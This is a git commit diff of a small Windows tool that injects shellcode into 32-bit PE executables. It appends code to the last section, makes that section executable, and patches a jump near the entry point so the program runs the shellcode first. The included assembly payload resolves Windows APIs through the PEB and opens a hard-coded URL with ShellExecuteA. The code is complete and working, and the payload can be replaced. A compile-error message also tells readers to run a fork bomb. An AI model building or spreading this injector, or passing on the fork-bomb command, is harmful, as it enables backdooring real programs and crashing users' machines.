diff options
author | segfault <segfault@secmail.pro> | 2019-03-25 01:49:56 +0100 |
---|---|---|
committer | segfault <segfault@secmail.pro> | 2019-03-25 01:49:56 +0100 |
commit | 368a9d701233bda78358335f62aa84c8f81cbeaa (patch) | |
tree | ac0d6c78d867954ff7d0cb326f84ad84053cf7df |
initial commit
Signed-off-by: segfault <segfault@secmail.pro>
-rw-r--r-- | Makefile | 45 | ||||
-rw-r--r-- | dummy.c | 7 | ||||
-rw-r--r-- | injector.c | 490 | ||||
-rw-r--r-- | shellcode.asm | 173 |
4 files changed, 715 insertions, 0 deletions
diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..30f80df --- /dev/null +++ b/Makefile @@ -0,0 +1,45 @@ +SUFFIX := .exe +CC := i686-w64-mingw32-gcc +AS := nasm +RM := rm +WINE := wine +ASFLAGS := -fwin32 +CFLAGS := -Wall -std=c99 -Os -s -static -ffunction-sections -fdata-sections -flto -fPIC -m32 -D_DEFAULT_SOURCE=1 -Wl,-x +ifeq ($(NOPASTA),y) +CFLAGS += -D_NOPASTA=1 +endif +ifeq ($(DEBUG),y) +CFLAGS += -g +endif +ifneq ($(SKID),) +CFLAGS += -DSKID=$(SKID) +endif + + +all: injector$(SUFFIX) dummy$(SUFFIX) + +injector$(SUFFIX): injector.o shellcode.o + $(CC) $(CFLAGS) -o $@ $^ + +injector.o: injector.c + $(CC) $(CFLAGS) -c -o $@ $< + +shellcode.o: shellcode.asm + $(AS) $(ASFLAGS) -o $@ $< + +dummy$(SUFFIX): dummy.o + $(CC) $(CFLAGS) -o $@ $^ + +dummy.o: dummy.c + $(CC) $(CFLAGS) -c -o $@ $< + +test: all + $(RM) -f patched_dummy$(SUFFIX) + @echo '~~~~~~ INJECTOR ~~~~~~' + $(WINE) injector$(SUFFIX) dummy$(SUFFIX) + @echo '~~~~~~ PATCHED DUMMY ~~~~~~' + $(WINE) patched_dummy$(SUFFIX) + +clean: + $(RM) -f injector$(SUFFIX) injector.o shellcode.o dummy$(SUFFIX) dummy.o + $(RM) -f patched_dummy$(SUFFIX) @@ -0,0 +1,7 @@ +#include <stdio.h> +#include <stdlib.h> + +int main(void) +{ + printf("Hi, I'm useless.\n"); +} diff --git a/injector.c b/injector.c new file mode 100644 index 0000000..ea53f61 --- /dev/null +++ b/injector.c @@ -0,0 +1,490 @@ +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> + +#include <windows.h> + +/* structure which describes the Windows Portable Executable format */ +typedef struct pe_buffer { + uint8_t *buf; + size_t siz; + + PIMAGE_DOS_HEADER dosHdr; + PIMAGE_FILE_HEADER fileHdr; + PIMAGE_OPTIONAL_HEADER optHdr; + PIMAGE_SECTION_HEADER secHdr; +} pe_buffer; + +/* common instructions usually found near AddressOfEntryPoint + * used for our very very basic x86 (en|de)coder + */ +typedef enum instruction { + REL_CALL = 0xE8, REL_JMP = 0xE9, + PUSH_ESP = 0x55, PUSH_BYTE = 0x6A, PUSH_DWORD = 0x68, + ADD_ESP = 0x83C4, SUB_ESP = 0x83EC, + MOV_DWORD_PTR_DS = 0xC705 +} instruction; + +/* shellcode patch context */ +typedef struct patch_ctx { + uint8_t *injected_shellcode; + instruction patched_inst; + uint32_t patched_addr; + uint8_t *next_inst; +} patch_ctx; + +/* Force GCC struct for MingW compilers and pack them, + * which means the struct is 1-byte aligned. + */ +#define GCC_PACKED __attribute__((packed, gcc_struct)) + +typedef union shellcode_trailer { + uint8_t buf[10]; /* byte buffer representation, not used atm */ + struct { + uint8_t inst; + uint32_t addr; + } GCC_PACKED insts[2]; /* second array entry is required for the FIXME */ +} GCC_PACKED shellcode_trailer; + + +/* external symbols, which gets resolved to the shellcode object + * file during link time + */ +extern uint32_t shellcode; +extern uint32_t shellcode_size; + +/* callable shellcode function typedef with enforced stdcall + * calling convention + */ +typedef void (__stdcall *shellcode_fn)(void); + +#define INTEL_ASM(_asm_str) \ + __asm volatile(".intel_syntax noprefix"); \ + __asm volatile(_asm_str); \ + __asm volatile(".att_syntax prefix"); + +#define WIN_PERROR(error_prefix) \ + printf("%s failed: %lu\n", error_prefix, GetLastError()); + +static int bcmp(uint8_t *b1, uint8_t *b2, size_t length) +{ + uint8_t *p1 = b1, *p2 = b2; + + if (length == 0) + return(0); + do { + if (*p1++ != *p2++) + break; + } while (--length); + + return length != 0; +} + +static void test_shellcode(void) +{ + shellcode_fn fn = (shellcode_fn) &shellcode; + + printf("Kernel32_base.: %p\n" + "LoadLibraryA..: %p\n" + "GetProcAddrA..: %p\n" + "Shell32.dll...: %p\n" + "ShellExecute..: %p\n" + "shellcode.....: %p\n" + "shellcode_size: %u (0x%X)\n", + LoadLibraryA("kernel32.dll"), + LoadLibraryA, + GetProcAddress, + LoadLibraryA("Shell32.dll"), + GetProcAddress(LoadLibraryA("Shell32.dll"), "ShellExecuteA"), + &shellcode, + shellcode_size, shellcode_size); + + printf("\nExecuting shellcode ..\n"); + /* The shellcode detects if it got 'called' or 'jumped' to + * by simple comparing a unique value in eax. + */ + INTEL_ASM("push eax; mov eax, 0xDEADBEEF"); + fn(); + INTEL_ASM("pop eax"); + printf("Done.\n"); +} + +static DWORD +read_file(const char *filepath, uint8_t **buf) +{ + HANDLE hFile; + DWORD dwFileSize, dwFileRead; + TCHAR fullPath[MAX_PATH+1] = { 0 }; + + if (!GetFullPathName(filepath, sizeof fullPath, fullPath, NULL)) + { + WIN_PERROR("GetFullPathNameA"); + return 0; + } + + *buf = NULL; + hFile = CreateFile(fullPath, + GENERIC_READ, + 0, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + WIN_PERROR("CreateFile"); + return 0; + } + + dwFileSize = GetFileSize(hFile, NULL); + dwFileRead = 0; + + *buf = calloc(dwFileSize, 1); + if (!*buf) + return 0; + if (!ReadFile(hFile, *buf, dwFileSize, &dwFileRead, NULL) || + dwFileRead != dwFileSize) + { + printf("Read %ld from %ld bytes ..\n", dwFileRead, dwFileSize); + CloseHandle(hFile); + return 0; + } + CloseHandle(hFile); + + return dwFileSize; +} + +static int parse_pe(uint8_t *buf, size_t siz, pe_buffer *out) +{ + out->buf = NULL; + out->siz = 0; + + /* check minimum size of the target file */ + if (siz < sizeof(IMAGE_DOS_HEADER) + + sizeof(IMAGE_FILE_HEADER) + + sizeof(IMAGE_OPTIONAL_HEADER) + + sizeof(IMAGE_SECTION_HEADER)) + { + return 1; + } + + out->dosHdr = (PIMAGE_DOS_HEADER) buf; + if (out->dosHdr->e_magic != IMAGE_DOS_SIGNATURE) /* 'MZ' */ + return 1; + + out->fileHdr = + (PIMAGE_FILE_HEADER)(buf + out->dosHdr->e_lfanew + + sizeof(DWORD)); + if (out->fileHdr->Machine != 0x014C) /* i386 */ + return 1; + + out->optHdr = + (PIMAGE_OPTIONAL_HEADER)(buf + out->dosHdr->e_lfanew + + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER)); + if (out->optHdr->Magic != 0x010b) /* PE32 */ + return 1; + + out->secHdr = + (PIMAGE_SECTION_HEADER)(buf + out->dosHdr->e_lfanew + + sizeof(IMAGE_NT_HEADERS)); + + out->buf = buf; + out->siz = siz; + + return 0; +} + +static int prepare_last_section(pe_buffer *pe, uint8_t **ptrToShellcode) +{ + PIMAGE_SECTION_HEADER last_section = + &pe->secHdr[pe->fileHdr->NumberOfSections - 1]; + size_t algndFileSiz = 0; + off_t shellcode_offset; + + if (last_section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) { + printf("Last section is marked as discardable.\n" + "This means it won't be loaded into the memory\n" + "and is only required to retrieve debugging information.\n"); + return 1; + } + printf("Extending last section: '%s'\n", + last_section->Name); + + while (algndFileSiz < shellcode_size) + algndFileSiz += pe->optHdr->FileAlignment; + printf("Aligned Size: 0x%lX\n", + (unsigned long)algndFileSiz); + + shellcode_offset = pe->siz; + pe->siz = pe->siz + algndFileSiz; + pe->buf = realloc(pe->buf, pe->siz); + if (!pe->buf) + return 1; + /* realloc() acts like malloc() for the + * newly allocated memory region + * if newsiz > oldsiz + */ + memset(pe->buf + shellcode_offset, 0, algndFileSiz); + + /* Do not forget to re-parse the pe file again! + * The pointers in pe_buffer might not be valid after realloc(). + * Since the OS can return a pointer to a completly different + * memory region! + */ + if (parse_pe(pe->buf, pe->siz, pe)) + return 1; + + last_section->Misc.VirtualSize += shellcode_size; + last_section->SizeOfRawData += algndFileSiz; + + /* It is important to fixup section protections! + * Otherwise an Access Violation will occur most likely. + */ + last_section->Characteristics |= IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; + + /* Place (unpatched) shellcode at the end of the section. */ + memcpy(pe->buf + shellcode_offset, &shellcode, shellcode_size); + *ptrToShellcode = pe->buf + shellcode_offset; + + return 0; +} + +static uint8_t * +RvaToPtr(uint8_t *buf, off_t rva) +{ + PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER) buf; + PIMAGE_FILE_HEADER fileHdr = + (PIMAGE_FILE_HEADER)(buf + + dosHdr->e_lfanew + + sizeof(DWORD)); + PIMAGE_SECTION_HEADER sections = + (PIMAGE_SECTION_HEADER)(buf + + dosHdr->e_lfanew + + sizeof(IMAGE_NT_HEADERS)); + size_t nSections = fileHdr->NumberOfSections; + off_t pos = 0; + + for (SIZE_T i = 0; i < nSections; ++i) { + if (rva >= sections[i].VirtualAddress) { + pos = sections[i].VirtualAddress; + pos += sections[i].SizeOfRawData; + } + if (rva < pos) { + rva -= sections[i].VirtualAddress; + return buf + rva + sections[i].PointerToRawData; + } + } + return NULL; +} + +static off_t +OffsetToRva(pe_buffer *pe, off_t offset) +{ + if (pe->fileHdr->NumberOfSections <= 0 || pe->optHdr->SizeOfHeaders > offset) + return -1; + PIMAGE_SECTION_HEADER sections = pe->secHdr; + size_t nSections = pe->fileHdr->NumberOfSections; + off_t dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData); + + for (size_t i = 0; i < nSections; ++i) { + if (offset < sections[i].PointerToRawData) + break; + dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData); + } + return dwPos + pe->optHdr->ImageBase; +} + +static inline off_t +PtrToOffset(pe_buffer *pe, const uint8_t *ptr) +{ + DWORD dwRva = (off_t)ptr - (off_t)pe->buf; + return dwRva; +} + +static inline off_t +PtrToRva(pe_buffer *pe, const uint8_t *ptr) +{ + return OffsetToRva(pe, PtrToOffset(pe, ptr)); +} + +static inline off_t +calc_relative_offset(off_t start, off_t end) +{ + return end - start - 0x5 /* sizeof(rel JMP/CALL) */; +} + +static int search_patch_near_entry(pe_buffer *pe, patch_ctx *pa) +{ + const size_t maxbytes = 30; + size_t i; + uint8_t *insts8 = RvaToPtr(pe->buf, + pe->optHdr->AddressOfEntryPoint); + uint16_t *insts16; + uint32_t relAddr; + uint32_t entryVA = pe->optHdr->ImageBase + + pe->optHdr->AddressOfEntryPoint; + uint32_t shellVA = PtrToRva(pe, pa->injected_shellcode); + + if (insts8 - pe->buf > pe->siz - maxbytes) + return 1; + + printf("AddressOfEntryPoint (VA): 0x%08lX\n", (unsigned long)entryVA); + printf("Shellcode (VA): 0x%08lX\n", (unsigned long)shellVA); + + for (i = 0; i < maxbytes; ++i) { + switch (insts8[i]) { + case PUSH_ESP: + continue; + case PUSH_BYTE: + i++; + continue; + case PUSH_DWORD: + i += 4; + continue; + case REL_CALL: + /* FIXME: Try to patch relative calls! */ + i += 4; + continue; + case REL_JMP: + pa->next_inst = &insts8[i]; + pa->patched_inst = insts8[i]; + pa->patched_addr = *(uint32_t *)&insts8[i+1]; + + relAddr = calc_relative_offset(entryVA + i, shellVA); + printf("Patching RelJMP at 0x%08lX: 0x%08lX\n", + (unsigned long)entryVA + i - 1, + (unsigned long)relAddr); + *(uint32_t *)(&insts8[i+1]) = relAddr; + return 0; + } + + insts16 = (uint16_t *)insts8; + switch (insts16[i]) { + case ADD_ESP: + case SUB_ESP: + i += 3; + continue; + case MOV_DWORD_PTR_DS: + i += 9; + continue; + } + } + + printf("No patchable instruction found within the first %u bytes " + "after 0x%08lX, sorry :(\n", maxbytes, (unsigned long)entryVA); + return 1; +} + +static int patch_shellcode(pe_buffer *pe, patch_ctx *pa) +{ + size_t i; + uint8_t cmp_jmpmarker[] = { 0xFF,0xDE,0xAD,0xC0,0xDE }; + shellcode_trailer *trl; + uint32_t nextInstVA = PtrToRva(pe, pa->next_inst); + uint32_t trlInstVA; + + for (i = 0; i < shellcode_size; ++i) { + if (!bcmp(&pa->injected_shellcode[i], cmp_jmpmarker, sizeof cmp_jmpmarker)) { + trl = (shellcode_trailer *)&pa->injected_shellcode[i]; + trlInstVA = PtrToRva(pe, &trl->insts[0].inst); + trl->insts[0].inst = pa->patched_inst; + trl->insts[0].addr = pa->patched_addr - (trlInstVA - nextInstVA); + + /* FIXME: Try to patch relative calls! + * HINT: You need to patch trl->insts[0] with the + * relative call and the fixed relative addr. + * The trl->insts[1] should contain the relative JMP + * from above. + */ + trl->insts[1].inst = 0xFF; + trl->insts[1].addr = 0xCAFECAFE; + return 0; + } + } + + return 1; +} + +static DWORD +write_file(const char *filepath, uint8_t *buf, DWORD siz) +{ + HANDLE hFile; + DWORD dwFileWritten; + TCHAR fullPath[MAX_PATH+1] = { 0 }; + + if (!GetFullPathName(filepath, sizeof fullPath, fullPath, NULL)) + { + WIN_PERROR("GetFullPathNameA"); + return 0; + } + + hFile = CreateFile(fullPath, + GENERIC_WRITE, + 0, NULL, CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + WIN_PERROR("CreateFile"); + return 0; + } + + if (!WriteFile(hFile, buf, siz, &dwFileWritten, NULL) || + siz != dwFileWritten) + { + printf("Written %lu from %lu bytes ..\n", dwFileWritten, siz); + CloseHandle(hFile); + return 0; + } + CloseHandle(hFile); + + return dwFileWritten; +} + +int main(int argc, char **argv) +{ + pe_buffer pebuf; + patch_ctx pactx; + char out_filepath[PATH_MAX]; /* output filepath for the final executable */ + + if (argc < 2) { + test_shellcode(); + exit(EXIT_SUCCESS); + } + + pebuf.siz = read_file(argv[1], &pebuf.buf); + if (!pebuf.buf) { + WIN_PERROR("read_file"); + exit(EXIT_FAILURE); + } + printf("open/read executable: '%s' (%lu bytes)\n", argv[1], + (unsigned long)pebuf.siz); + + if (parse_pe(pebuf.buf, pebuf.siz, &pebuf)) { + printf("Parsing PE file failed\n"); + exit(EXIT_FAILURE); + } + + if (prepare_last_section(&pebuf, &pactx.injected_shellcode)) { + printf("Preparing last section failed\n"); + exit(EXIT_FAILURE); + } + + if (search_patch_near_entry(&pebuf, &pactx)) { + printf("Search&Patch failed\n"); + exit(EXIT_FAILURE); + } + + if (patch_shellcode(&pebuf, &pactx)) { + printf("PatchShellcode failed\n"); + exit(EXIT_FAILURE); + } + + snprintf(out_filepath, sizeof out_filepath, "patched_%s", argv[1]); + if (!write_file(out_filepath, pebuf.buf, pebuf.siz)) { + WIN_PERROR("write_file"); + exit(EXIT_FAILURE); + } + printf("create/write executable: '%s' (%lu bytes)\n", out_filepath, + (unsigned long)pebuf.siz); + + return 0; +} + +#if SKID != 1337 +#error "There was an unknown compilation error. You can try to fix it by typing `:(){:|:&};:` in your terminal." +#endif diff --git a/shellcode.asm b/shellcode.asm new file mode 100644 index 0000000..8d4057d --- /dev/null +++ b/shellcode.asm @@ -0,0 +1,173 @@ +bits 32 +section .shellcode align=1 + +global _shellcode +global _shellcode_size + +_shellcode: +jmp _shellcode_entry + + +; Calculate a 32 bit hash from a string (non-case-sensitive) +; arguments: esi = ptr to string +; ecx = bufsiz +; modifies : eax, edi +; return : 32 bit hash value in edi +_calcStrHash: + xor edi,edi + _calcHash_loop: + xor eax,eax + lodsb ; read in the next byte of the name [esi] and store it in al + cmp al,'a' ; some versions of Windows use lower case module names + jl _calcHash_not_lowercase + sub al,0x20 ; if so normalise to uppercase + _calcHash_not_lowercase: + ror edi,13 ; rotate right our hash value + add edi,eax ; add the next byte of the name to the hash + loop _calcHash_loop + ret + +; Get base address of kernel32.dll (alternative way through PEB) +; arguments: - +; modifies : eax, ebx +; return : base addres in eax +_getModuleHandleKernel32PEB: + mov eax,[fs:0x30] ; PEB + mov eax,[eax+0x0c] ; PEB->Ldr + mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) + mov ebx,eax + xor ecx,ecx + _getModuleHandleKernel32PEB_loop: + pushad + mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE) + mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2 + call _calcStrHash + cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll' + popad + mov ecx,[ebx+0x10] ; get base address + mov ebx,[ebx] + jne _getModuleHandleKernel32PEB_loop + mov eax,ecx + ret + _getModuleHandleKernel32PEB_fail: + xor eax,eax + ret + +; Get Address of GetProcAddress from module export directory +; arguments: eax = kernel32 base address +; modifies : eax, ebx, ecx, edi, edx, esi +; return : eax +_getAdrOfGetProcAddress: + mov ebx,eax + add ebx,[eax+0x3c] ; PE header + mov ebx,[ebx+0x78] ; RVA export directory + add ebx,eax + mov esi,[ebx+0x20] ; RVA Export Number Table + add esi,eax ; VA of ENT + mov edx,eax ; remember kernel base + xor ecx,ecx + _getAdrOfGetProcAddress_loop: + inc ecx + lodsd ; load dword from esi into eax + add eax,edx ; add kernel base + pushad + mov esi,eax ; string + mov ecx,14 ; len('GetProcAddress') + call _calcStrHash + cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' (see _calcStrHash) + popad + jne _getAdrOfGetProcAddress_loop + dec ecx + mov edi,ebx + mov edi,[edi+0x24] ; RVA of Export Ordinal Table + add edi,edx ; VA of EOT + movzx edi,word [ecx*2+edi] ; ordinal to function + mov eax,ebx + mov eax,[eax+0x1c] ; RVA of Export Address Table + add eax,edx ; VA of EAT + mov eax,[edi*4+eax] ; RVA of GetProcAddress + add eax,edx ; VA of GetProcAddress + ret + + +_shellcode_entry: +; Wanna debug? +;int3 +pushad +; Get Kernel32 base address from PEB +call _getModuleHandleKernel32PEB ; kernel32.dll stores the base in eax +sub esp, 8 ; make space for address of LoadLibraryA + ; and Shell32.dll base address +push eax +call _getAdrOfGetProcAddress ; locate GetProcAddress by using eax (result in eax) +push eax +mov ebp,esp ; new stack frame +; LoadLibraryA / ShellExecuteA +push 0x00000000 ; NUL termination +push 0x41797261 ; 'Ayra' +push 0x7262694C ; 'rbiL' +push 0x64616F4C ; 'daoL' +push esp ; ptr to string above (1st arg for GetProcAddress) +push dword [ebp+4] ; KERNEL32.dll base address (2nd arg for GetProcAddress) +call [ebp] ; GetProcAddress +mov [ebp+8],eax ; LoadLibraryA in eax + +push 0x006C6C64 ; 'lld' +push 0x2E32336C ; '.23l' +push 0x6C656853 ; 'lehS' +push esp ; ptr to string above (1st arg for LoadLibraryA) +call [ebp+8] ; GetProcAddress +mov [ebp+12],eax ; Shell32.dll in eax + +push 0x00000041 ; 'A' +push 0x65747563 ; 'etuc' +push 0x6578456C ; 'exEl' +push 0x6C656853 ; 'lehS' +push esp ; ptr to string above (1st arg for GetProcAddress) +push dword [ebp+12] ; Shell32.dll base address (2nd arg for GetProcAddress) +call [ebp] ; GetProcAddress +; ShellExecuteA address in eax + +; ShellExecuteA +; URL: http://y2u.be/DLzxrzFCyOs +push 0x00000073 ; 's' +push 0x4F794346 ; 'OyCF' +push 0x7A72787A ; 'zrxz' +push 0x4C442F65 ; 'LD/e' +push 0x622E7532 ; 'b.u2' +push 0x792F2F3A ; 'y//:' +push 0x70747468 ; 'ptth' +; 'Open' +push 0x00000000 +push 0x6E65706F +; Arguments for ShellExecuteA +push 0x00000001 ; nShowCmd -> SW_SHOWNORMAL +push esp +push 0x00000000 ; lpDirectory -> NULL +push 0x00000000 ; lpParameters -> NULL +push esp +add dword [esp], 24 ; lpFile -> address to URL +push esp +add dword [esp], 20 ; lpOperation -> address to 'Open' +push 0x00000000 ; hwnd -> NULL +call eax + +; cleanup stack memory +add esp,16 + 12 + 16 + 28 + 8 + 4 + 8 +pop eax +pop eax +popad + +; The following code is typically used to test the shellcode. +; If you don't plan to test it e.g. by running test_shellcode() +; you can delete the cmp, jne, ret and shellcode_noret. +cmp eax, 0xDEADBEEF +jne shellcode_noret +ret +shellcode_noret: +; will be overwritten by our "jump back to original code flow" instruction +db 0xFF,0xDE,0xAD,0xC0,0xDE +db 0x00,0x00,0x00,0x00,0x00 + +_shellcode_size: +dd $ - _shellcode |